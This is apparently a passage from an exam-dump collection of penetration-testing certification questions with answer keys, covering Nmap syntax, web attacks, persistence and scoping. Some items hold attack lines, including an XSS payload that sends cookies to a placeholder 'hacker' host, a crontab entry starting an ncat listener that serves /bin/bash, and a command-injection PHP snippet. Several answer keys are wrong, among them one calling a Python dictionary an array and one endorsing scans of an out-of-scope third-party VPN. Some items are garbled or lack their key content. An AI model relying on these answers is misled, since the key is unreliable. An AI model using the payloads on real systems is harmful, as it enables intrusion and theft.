- E. Creating a new process on all domain systems
- F. Setting up a reverse shell from a remote system
- G. Adding an additional IP address on the compromised system

Answer: CD

Explanation:

WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

NEW QUESTION 205

You are a penetration tester reviewing a client's website through a web browser. INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.





Secure System

https://comptia.org/login.aspx#viewsource

```
<html>
<head>
<title>Secure Login </title>
</head>
<body>
<meta
content="c2RmZGZnaHNzZmtqbGdoc2Rma2pnaGRzZmpoZGZvaW2aGRmc29pYmp3ZXindWdm9pb2hzZGd1aWJoaGR1ZmZpZ2hzZDtpYmhqZHNmc291Ymdoc3d5ZGi1Z2Zi
bnNkbGtqO2Job3VpYXNpZGZubXM7bGtZmliaHZsb3NhZGJua2N4dnZ1aWdia3NqYWVqa2JmbGI1Y3Z2Z2JobGFzZwJmaXVkaGZidmxiFmbGhke3VmZyBuc2pyZ2hzZHVmaG
d1d3NmZ2hqZHNmZmJ1c2hmdWRzZmZ3U3cndweWhmamRzZmZ2bnVzZm53cnVMYnZ1ZXJ2=="name="csrf-token"/>
<script>
document.write("<OPTION value=1>" + document.location.href.substring(document.location.href.indexOf("=")+16) + "</OPTION>");
</script>
<div align="center">
<form action="c:url value='main.do'/" method="post">
<div style="margin-top: 200px; margin-bottom: 10px;">
<span style="width: 500px; color: blue; font-size: 30px; font-weight: bold; border-bottom: 1px solid blue;">Comptia Secure System Login</span>
</div>
<div style="margin-bottom: 5px;">
<span style="width: 100px;">Name</span>
<input style="width: 150px; type="text" name="name" id="name" value="">
<!-- input style="width: 150px; type="text" name="name" id="name" value="admin"-->
</div>
<div>
<span style="width: 100px;">Password: </span>
<input style="width: 150px; type="password" name="Password" id="password" value="">
<!-->
<span style="width: 100px;">Password: </span>
<input style="width: 150px; type="password" name="Password" id="password" value="password" -->
</div>
```

Secure System

https://comptia.org/login.aspx#viewcookies

Name	Value	Domain	Path	Expires/...	Size	HTTP	Secure	SameSite
ASP.NET_SessionId	h1bcdctse2ewvqwf4bdcb3v	www.com...	/	Session	41			
__utma	36104370.911013732.1508266963.1508266963.1508266963.1	.comptia.o...	/	2019-10-1...	59			
__utmb	361044370.7.9.1508267988443	.comptia.o...	/	2017-10-1...	32			
__utmc	36104370	.comptia.o...	/	Session	14			
__utmt	1	.comptia.o...	/	2017-10-1...	7			
__utmv	36104370.[2=Account%20Type=Not%20Defined=1	.comptia.o...	/	2019-10-1...	48			
__utmz	36104370.1508266963.1.1.utmcsr=google[utmccn=(organic)]utm...	.comptia.o...	/	2018-04-1...	99			
_sp_id.0767	4a84866c6ffff51c.1508266964.1508258019.1508266964.81ff34f7...	.comptia.o...	/	2019-10-1...	99			
_sp_ses.0767	*	.comptia.o...	/	2017-10-1...	13			

Secure System

← → ↻ https://comptia.org/login.aspx#remediateSource

```

1 <html>
2 <head>
3 <title>Secure Login </title>
4 </head>
5 <body>
6 <meta
7 content="c2RmZGZnaHhZmtqbGdoc2Rma2pnaGRzZmpoZGZvaW2aGRmc29pYmp3ZXindWvdm9pb2hzZGd1aWJoaGR1ZmZpZ2hzZDtpYmhqZHNmc291Ymdoc3d5ZGi1Z2Zi
8 bnNkbGtqO2Job3VpYXNpZGZubXM7bGtZmliaHZsb3NhZGJua2N4dnZ1aWdia3NqYWVqa2JmbGl1Y3Z2Z2JobGFzZwJmaXVkaZidmxiambGhkc3VmZyBuc2pyZ2hzZHVmaG
9 d1d3NmZ2hqZHNmZmJ1c2hmdWRzZmZoZ3U3cndweWhmamRzZmZ2bnVzZm53cnVMYnZ1ZXJ2=="name="csr-token"/>
10 <select><script>
11 document.write("<OPTION value=1>" + document.location.href.substring(document.location.href.indexOf("=")+16) + "</OPTION>");
12 </script></select>
13 <div align="center">
14 <form action="<c:url value='main.do'>" method="post">
15 <div style="margin-top:200px;margin-bottom:10px;">
16 <span style="width:500px;color:blue;font-size:30px;font-weight:bold;border-bottom:1px solid blue;">Comptia Secure System Login</span>
17 </div>
18 <div style="margin-bottom:5px;">
19 <span style="width:100px;">Name</span>
20 <input style="width:150px;" type="text" name="name" id="name" value="">
21 <!-- input style="width:150px;" type="text" name="name" id="name" value="admin"-->
22 </div>
23 <div><span style="width:100px;">Password: </span><input style="width:150px;" type="password" name="Password" id="password" value="">
24 <!--div><span style="width:100px;">Password: </span><input style="width:150px;" type="password" name="Password" id="password" value="password" -->

```

Secure System

← → ↻ https://comptia.org/login.aspx#remediatecookies

Name	Value	Domain	Path	Expires/...	Size	HTTP	Secure	SameSite
ASP.NET_SessionId	h1bcdctse2ewwqwf4bdcb3v	www.com...	/	Session	41	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utma	36104370.911013732.1508266963.1508266963.1508266963.1	.comptia.o...	/	2019-10-1...	59	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utmb	361044370.7.9.1508267988443	.comptia.o...	/	2017-10-1...	32	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utmc	36104370	.comptia.o...	/	Session	14	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utmt	1	.comptia.o...	/	2017-10-1...	7	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utmv	36104370.j2=Account%20Type=Not%20Defined=1	.comptia.o...	/	2019-10-1...	48	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utmz	36104370.1508266963.1.1.utmcsr=google utmccn=(organic) utm...	.comptia.o...	/	2018-04-1...	99	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
_sp_id.0767	4a84866c6ffff51c.1508266964.1508258019.1508266964.81ff34f7...	.comptia.o...	/	2019-10-1...	99	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
_sp_ses.0767	*	.comptia.o...	/	2017-10-1...	13	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete



Drag and Drop Options

Remove certificate from server

Generate a Certificate Signing Request

Submit CSR to the CA

Install re-issued certificate on the server

Step 1

Step 2

Step 3

Step 4

- A. Mastered
B. Not Mastered

Answer: A

Explanation:

Graphical user interface Description automatically generated

NEW QUESTION 209

Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?

- A. Executive summary of the penetration-testing methods used
- B. Bill of materials including supplies, subcontracts, and costs incurred during assessment
- C. Quantitative impact assessments given a successful software compromise
- D. Code context for instances of unsafe type-casting operations

Answer: D

NEW QUESTION 213

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset ($_POST ['item']))[  
    echo shell_exec ("/http/www/cgi-bin/queryitem ".$_POST ['item']);  
]
```

Which of the following combinations of tools would the penetration tester use to exploit this script?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

Answer: B

NEW QUESTION 216

A penetration tester is testing a new API for the company's existing services and is preparing the following script:

```
#!/bin/bash  
for each in GET POST PUT TRACE CONNECT OPTIONS;  
do  
printf "Seach / HTTP/1.1\nHost:www.comptia.org\r\n\r\n" | nc www.comptia.org 80
```

Which of the following would the test discover?

- A. Default web configurations
- B. Open web ports on a host
- C. Supported HTTP methods
- D. Listening web servers in a domain

Answer: C

NEW QUESTION 220

During a web application test, a penetration tester was able to navigate to <https://company.com> and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

- A. The SSL certificates were invalid.
- B. The tester IP was blocked.
- C. The scanner crashed the system.
- D. The web page was not found.

Answer: B

NEW QUESTION 225

During an engagement, a penetration tester found the following list of strings inside a file:


```
3af068faa81326ffe6ca48e2ab36a779
48ec2f4f526303a9ded67938e6ce11c6
9493bf035c534197d9810a5e65a10632
C847b4a2e76ec1f9cbbbe30d2046d5e8
ed225542767a810e6fcee bf640164b140
cfbe1fdd6e6b0c5c9abd8c947f272ef4
c05cbc5a69bcc91f56a7e0a6c391ad79
9ee3564cbf15421ebabc43dcb67949ad
5a2ad0bcb902e20c4efcf057b01050be
4865a2ed25ed18515b7e97beb2b40346
b0236938a6518fc65b72159687e3a27b
9c96354712595ef2ff96675496d3a464
a5ab3f6c6159b85209ea0c186531a49f
9b38816e791f1400245f4c629a503bc8
d12e624a20d54fd3b34b89ee7169df17
```

Which of the following is the BEST technique to determine the known plaintext of the strings?

- A. Dictionary attack
- B. Rainbow table attack
- C. Brute-force attack
- D. Credential-stuffing attack

Answer: B

NEW QUESTION 226

A customer adds a requirement to the scope of a penetration test that states activities can only occur during normal business hours. Which of the following BEST describes why this would be necessary?

- A. To meet PCI DSS testing requirements
- B. For testing of the customer's SLA with the ISP
- C. Because of concerns regarding bandwidth limitations
- D. To ensure someone is available if something goes wrong

Answer: D

NEW QUESTION 230

PCI DSS requires which of the following as part of the penetration-testing process?

- A. The penetration tester must have cybersecurity certifications.
- B. The network must be segmented.
- C. Only externally facing systems should be tested.
- D. The assessment must be performed during non-working hours.

Answer: B

NEW QUESTION 234

A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?

- A. Data flooding
- B. Session riding
- C. Cybersquatting
- D. Side channel

Answer: D

Explanation:

[https://www.techtarget.com/searchsecurity/definition/side-channel-attack#:~:text=Side%2Dchannel%20attacks%](https://www.techtarget.com/searchsecurity/definition/side-channel-attack#:~:text=Side%2Dchannel%20attacks%20)

NEW QUESTION 239

A penetration tester has established an on-path position between a target host and local network services but has not been able to establish an on-path position between the target host and the Internet. Regardless, the tester would like to subtly redirect HTTP connections to a spoofed server IP. Which of the following methods would BEST support the objective?

- A. Gain access to the target host and implant malware specially crafted for this purpose.
- B. Exploit the local DNS server and add/update the zone records with a spoofed A record.
- C. Use the Scapy utility to overwrite name resolution fields in the DNS query response.
- D. Proxy HTTP connections from the target host to that of the spoofed host.

Answer: D

NEW QUESTION 244

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

- A. Phishing
- B. Tailgating
- C. Baiting
- D. Shoulder surfing

Answer: C

NEW QUESTION 245

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.

Which of the following Nmap scan syntaxes would BEST accomplish this objective?

- A. nmap -sT -vvv -O 192.168.1.2/24 -PO
- B. nmap -sV 192.168.1.2/24 -PO
- C. nmap -sA -v -O 192.168.1.2/24
- D. nmap -sS -O 192.168.1.2/24 -T1

Answer: D

NEW QUESTION 246

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

- Pre-engagement interaction (scoping and ROE)
- Intelligence gathering (reconnaissance)
- Threat modeling
- Vulnerability analysis
- Exploitation and post exploitation
- Reporting

Which of the following methodologies does the client use?

- A. OWASP Web Security Testing Guide
- B. PTES technical guidelines
- C. NIST SP 800-115
- D. OSSTMM

Answer: B

NEW QUESTION 248

Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

- A. Dictionary
- B. Directory
- C. Symlink
- D. Catalog
- E. For-loop

Answer: A

NEW QUESTION 253

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

- A. Run nmap with the -o, -p22, and -sC options set against the target
- B. Run nmap with the -sV and -p22 options set against the target
- C. Run nmap with the --script vulners option set against the target
- D. Run nmap with the -sA option set against the target

Answer: A

NEW QUESTION 255

The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host delivery and write the discovery to files without returning results of the attack machine?

- A. nmap snn exclude 10.1.1.15 10.1.1.0/24 oA target_txt
- B. nmap iR10oX out.xml | grep Nmap | cut d "f5 > live-hosts.txt
- C. nmap PnsV OiL target.txt A target_text_Service
- D. nmap sSPn n iL target.txt A target_txtl

Answer: A

Explanation:

According to the Official CompTIA PenTest+ Self-Paced Study Guide¹, the correct answer is A. nmap -sn -n

-exclude 10.1.1.15 10.1.1.0/24 -oA target_txt.

This command will perform a ping scan (-sn) without reverse DNS resolution (-n) on the IP range 10.1.1.0/24, excluding the attack machine's IP address (10.1.1.15) from the scan (-exclude). It will also output the results in three formats (normal, grepable and XML) with a base name of target_txt (-oA).

NEW QUESTION 260

A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?

- A. Send deauthentication frames to the stations.
- B. Perform jamming on all 2.4GHz and 5GHz channels.
- C. Set the malicious AP to broadcast within dynamic frequency selection channels.
- D. Modify the malicious AP configuration to not use a pre-shared key.

Answer: A

Explanation:

<https://steemit.com/informatica/@jordiurbina1/tutorial-hacking-wi-fi-wireless-networks-with-wifislax>

NEW QUESTION 264

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

- A. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
- B. wmic startup get caption,command
- C. crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash" | crontab 2>/dev/null
- D. sudo useradd -ou 0 -g 0 user

Answer: A

NEW QUESTION 266

In Python socket programming, SOCK_DGRAM type is:

- A. reliable.
- B. matrixed.
- C. connectionless.
- D. slower.

Answer: C

Explanation:

Connectionless due to the Datagram portion mentioned so that would mean its using UDP.

NEW QUESTION 270

168.2.2

3: #!/usr/bin/python export \$PORTS = 21,22 for \$PORT in \$PORTS: try:

- A. Mastered
- B. Not Mastered

Answer: A

NEW QUESTION 273

A security firm has been hired to perform an external penetration test against a company. The only information the firm received was the company name. Which of the following passive reconnaissance approaches would be MOST likely to yield positive initial results?

- A. Specially craft and deploy phishing emails to key company leaders.
- B. Run a vulnerability scan against the company's external website.
- C. Runtime the company's vendor/supply chain.
- D. Scrape web presences and social-networking sites.

Answer: D

NEW QUESTION 274

A penetration tester obtained the following results after scanning a web server using the dirb utility:

```
...
GENERATED WORDS: 4612
---
Scanning URL: http://10.2.10.13/ ---
+
http://10.2.10.13/about (CODE:200|SIZE:1520)
+
http://10.2.10.13/home.html (CODE:200|SIZE:214)
+
http://10.2.10.13/index.html (CODE:200|SIZE:214)
+
http://10.2.10.13/info (CODE:200|SIZE:214)
...
DOWNLOADED: 4612 – FOUND: 4
Which of the following elements is MOST likely to contain useful information for the penetration tester?
```

- A. index.html

- B. about
- C. info
- D. home.html

Answer: B

NEW QUESTION 279

A penetration tester wrote the following script to be used in one engagement:

```
#!/usr/bin/python
import socket,sys
ports = [21,22,23,25,80,139,443,445,3306,3389]
if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Too few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()
try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        results = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))
except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

Which of the following actions will this script perform?

- A. Look for open ports.
- B. Listen for a reverse shell.
- C. Attempt to flood open ports.
- D. Create an encrypted tunnel.

Answer: A

NEW QUESTION 284

A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?

- A. The injection was too slow.
- B. The DNS information was incorrect.
- C. The DNS cache was not refreshed.
- D. The client did not receive a trusted response.

Answer: C

NEW QUESTION 288

A security analyst needs to perform a scan for SMB port 445 over a/16 network. Which of the following commands would be the BEST option when stealth is not a concern and the task is time sensitive?

- A. Nmap -s 445 -Pn -T5 172.21.0.0/16
- B. Nmap -p 445 -n -T4 -open 172.21.0.0/16
- C. Nmap -sV --script=smb* 172.21.0.0/16
- D. Nmap -p 445 -max -sT 172. 21.0.0/16

Answer: C

Explanation:

The best option when stealth is not a concern and the task is time sensitive is to use the command: Nmap -sV --script=smb* 172.21.0.0/16. This command will use version detection and SMB scripts to scan for port 445 on the given IP range. The -sV option will cause Nmap to detect the version of services running on the ports, which is helpful for identifying vulnerabilities, and the --script=smb* option will cause Nmap to run all of the SMB related scripts. The -T4 option can be used to speed up the scan, as it increases the timing probes.

NEW QUESTION 292

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.
- D. The local antivirus on the web server is rejecting the connection.

Answer: A

Explanation:

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

NEW QUESTION 295

A penetration tester wants to find hidden information in documents available on the web at a particular domain. Which of the following should the penetration tester use?

- A. Netcraft
- B. CentralOps
- C. Responder
- D. FOCA

Answer: D

Explanation:

<https://kalilinuxtutorials.com/foca-metadata-hidden-documents/>

NEW QUESTION 300

Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)

- A. Use of non-optimized sort functions
- B. Poor input sanitization
- C. Null pointer dereferences
- D. Non-compliance with code style guide
- E. Use of deprecated Javadoc tags
- F. A cyclomatic complexity score of 3

Answer: BC

NEW QUESTION 304

A penetration tester downloaded a Java application file from a compromised web server and identifies how to invoke it by looking at the following log:

```
17:34:23 - F - Info: New connection established :8443
17:34:23 - F - User: bmarney
17:34:23 - F - PW length 15
17:34:23 - F - login exec (/www/app/jre/bin/java -cp ./commapp.jar approval 192.168.0.1 bmarney
17:34:23 - F - login rc:0
```

Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?

- A. Run an application vulnerability scan and then identify the TCP ports used by the application.
- B. Run the application attached to a debugger and then review the application's log.
- C. Disassemble the binary code and then identify the break points.
- D. Start a packet capture with Wireshark and then run the application.

Answer: D

NEW QUESTION 305

A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.

Which of the following is most important for the penetration tester to define FIRST?

- A. Establish the format required by the client.
- B. Establish the threshold of risk to escalate to the client immediately.
- C. Establish the method of potential false positives.
- D. Establish the preferred day of the week for reporting.

Answer: B

NEW QUESTION 309

A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier.

Which of the following is the BEST action for the penetration tester to take?

- A. Utilize the tunnel as a means of pivoting to other internal devices.
- B. Disregard the IP range, as it is out of scope.
- C. Stop the assessment and inform the emergency contact.
- D. Scan the IP range for additional systems to exploit.

Answer: D

NEW QUESTION 311

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

- A. Immunity Debugger
- B. OllyDbg
- C. GDB
- D. Drozer

Answer: B

NEW QUESTION 315

A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?

- A. Hashcat
- B. Mimikatz
- C. Patator
- D. John the Ripper

Answer: C

Explanation:

<https://www.kali.org/tools/patator/>

NEW QUESTION 320

Given the following code:

```
systems = {  
    "10.10.10.1" : "Windows 10",  
    "10.10.10.2" : "Windows 10",  
    "10.10.10.3" : "Windows 2016",  
    "10.10.10.4" : "Linux"  
}
```

Which of the following data structures is systems?

- A. A tuple
- B. A tree
- C. An array
- D. A dictionary

Answer: C

NEW QUESTION 322

Given the following code:

```
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
```

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Web-application firewall
- B. Parameterized queries
- C. Output encoding
- D. Session tokens
- E. Input validation
- F. Base64 encoding

Answer: CE

Explanation:

Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.

NEW QUESTION 323

A penetration tester has extracted password hashes from the lsass.exe memory process. Which of the following should the tester perform NEXT to pass the hash and provide persistence with the newly acquired credentials?

- A. Use Patator to pass the hash and Responder for persistence.
- B. Use Hashcat to pass the hash and Empire for persistence.
- C. Use a bind shell to pass the hash and WMI for persistence.
- D. Use Mimikatz to pass the hash and PsExec for persistence.

Answer: D

Explanation:

Mimikatz is a credential hacking tool that can be used to extract logon passwords from the LSASS process and pass them to other systems. Once the tester has the hashes, they can then use PsExec, a command-line utility from Sysinternals, to pass the hash to the remote system and authenticate with the new credentials. This provides the tester with persistence on the system, allowing them to access it even after a reboot.

"A penetration tester who has extracted password hashes from the lsass.exe memory process can use various tools to pass the hash and gain access to other systems using the same credentials. One tool commonly used for this purpose is Mimikatz, which can extract plaintext passwords from memory or provide a pass-the-hash capability. After gaining access to a system, the tester can use various tools for persistence, such as PsExec or WMI." (CompTIA PenTest+ Study Guide, p. 186)

NEW QUESTION 326

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?

- A. Create a custom password dictionary as preparation for password spray testing.
- B. Recommend using a password manage/vault instead of text files to store passwords securely.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Document the unprotected file repository as a finding in the penetration-testing report.

Answer: D

NEW QUESTION 327

A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

- A. Socat
- B. tcpdump
- C. Scapy
- D. dig

Answer: C

Explanation:

<https://thepacketgeek.com/scapy/building-network-tools/part-09/>

NEW QUESTION 328

Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?

- A. Analyze the malware to see what it does.
- B. Collect the proper evidence and then remove the malware.
- C. Do a root-cause analysis to find out how the malware got in.
- D. Remove the malware immediately.
- E. Stop the assessment and inform the emergency contact.

Answer: E

NEW QUESTION 333

After gaining access to a previous system, a penetration tester runs an Nmap scan against a network with the following results:

```
Nmap scan report for 192.168.10.10
```

Port	State	Service	Version
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
5985/tcp	open	Microsoft	HTTPAPI httpd 2.0 (SSDP/UPnP)

```
Nmap scan report for 192.168.10.11
```

Port	State	Service	Version
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services

The tester then runs the following command from the previous exploited system, which fails: Which of the following explains the reason why the command failed?

- A. The tester input the incorrect IP address.
- B. The command requires the -port 135 option.
- C. An account for RDP does not exist on the server.
- D. PowerShell requires administrative privilege.

Answer: C

NEW QUESTION 336

An Nmap scan of a network switch reveals the following:

```
Nmap scan report for 192.168.1.254
Host is up 10.014s latency),
Not shown: 96 closed ports
Port    State  Service
22/tcp  open  ssh
23/tcp  open  telnet
60/tcp  open  http
443/tcp open  https
```

Which of the following technical controls will most likely be the FIRST recommendation for this device?

- A. Encrypted passwords
- B. System-hardening techniques

- C. Multifactor authentication
- D. Network segmentation

Answer: B

NEW QUESTION 339

A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?

- A. OWASP Top 10
- B. MITRE ATT&CK framework
- C. NIST Cybersecurity Framework
- D. The Diamond Model of Intrusion Analysis

Answer: B

NEW QUESTION 343

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports

Port      State      Service      Version
22/tcp    open      ssh          OpenSSH 6.6.1p1
53/tcp    open      domain       dnsmasq 2.72
80/tcp    open      http         lighttpd
443/tcp   open      ssl/http     httpd

Service Info: OS: Linux; Device: router; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Answer: B

Explanation:

The heart bleed bug is an open ssl bug which does not affect SSH Ref:
<https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh>

NEW QUESTION 344

A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

- A. As backup in case the original documents are lost
- B. To guide them through the building entrances
- C. To validate the billing information with the client
- D. As proof in case they are discovered

Answer: D

NEW QUESTION 349

A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?

- A. /var/log/messages
- B. /var/log/last_user
- C. /var/log/user_log
- D. /var/log/lastlog

Answer: D

Explanation:

The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

NEW QUESTION 352

A penetration tester runs the following command on a system:

find / -user root -perm -4000 -print 2>/dev/null
Which of the following is the tester trying to accomplish?

- A. Set the SGID on all files in the / directory
- B. Find the /root directory on the system
- C. Find files with the SUID bit set
- D. Find files that were created during exploitation and move them to /dev/null

Answer: C

Explanation:

the 2>/dev/null is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session.

NEW QUESTION 355

A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

- A. Segment the firewall from the cloud.
- B. Scan the firewall for vulnerabilities.
- C. Notify the client about the firewall.
- D. Apply patches to the firewall.

Answer: C

NEW QUESTION 356

A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

- A. Credential harvesting
- B. Privilege escalation
- C. Password spraying
- D. Domain record abuse

Answer: A

NEW QUESTION 359

An exploit developer is coding a script that submits a very large number of small requests to a web server until the server is compromised. The script must examine each response received and compare the data to a large number of strings to determine which data to submit next. Which of the following data structures should the exploit developer use to make the string comparison and determination as efficient as possible?

- A. A list
- B. A tree
- C. A dictionary
- D. An array

Answer: C

Explanation:

data structures are used to store data in an organized form, and some data structures are more efficient and suitable for certain operations than others. For example, hash tables, skip lists and jump lists are some dictionary data structures that can insert and access elements efficiently³.

For string comparison, there are different algorithms that can measure how similar two strings are, such as Levenshtein distance, Hamming distance or Jaccard similarity⁴. Some of these algorithms can be implemented using data structures such as arrays or hashtables⁵.

NEW QUESTION 360

A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?

- A. nmap -p0 -T0 -sS 192.168.1.10
- B. nmap -sA -sV --host-timeout 60 192.168.1.10
- C. nmap -f --badsum 192.168.1.10
- D. nmap -A -n 192.168.1.10

Answer: A

NEW QUESTION 365

A penetration tester captured the following traffic during a web-application test:

Which of the following methods should the tester use to visualize the authorization information being transmitted?

- A. Decode the authorization header using UTF-8.
- B. Decrypt the authorization header using bcrypt.
- C. Decode the authorization header using Base64.
- D. Decrypt the authorization header using AES.

Answer: C

NEW QUESTION 367

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

- A. A signed statement of work
- B. The correct user accounts and associated passwords
- C. The expected time frame of the assessment
- D. The proper emergency contacts for the client

Answer: D

NEW QUESTION 370

A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?

- A. Direct-to-origin
- B. Cross-site scripting
- C. Malware injection
- D. Credential harvesting

Answer: D

NEW QUESTION 371

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

- A. Try to obtain the private key used for S/MIME from the CEO's account.
- B. Send an email from the CEO's account, requesting a new account.
- C. Move laterally from the mail server to the domain controller.
- D. Attempt to escalate privileges on the mail server to gain root access.

Answer: D

NEW QUESTION 375

A penetration tester is looking for vulnerabilities within a company's web application that are in scope. The penetration tester discovers a login page and enters the following string in a field:

```
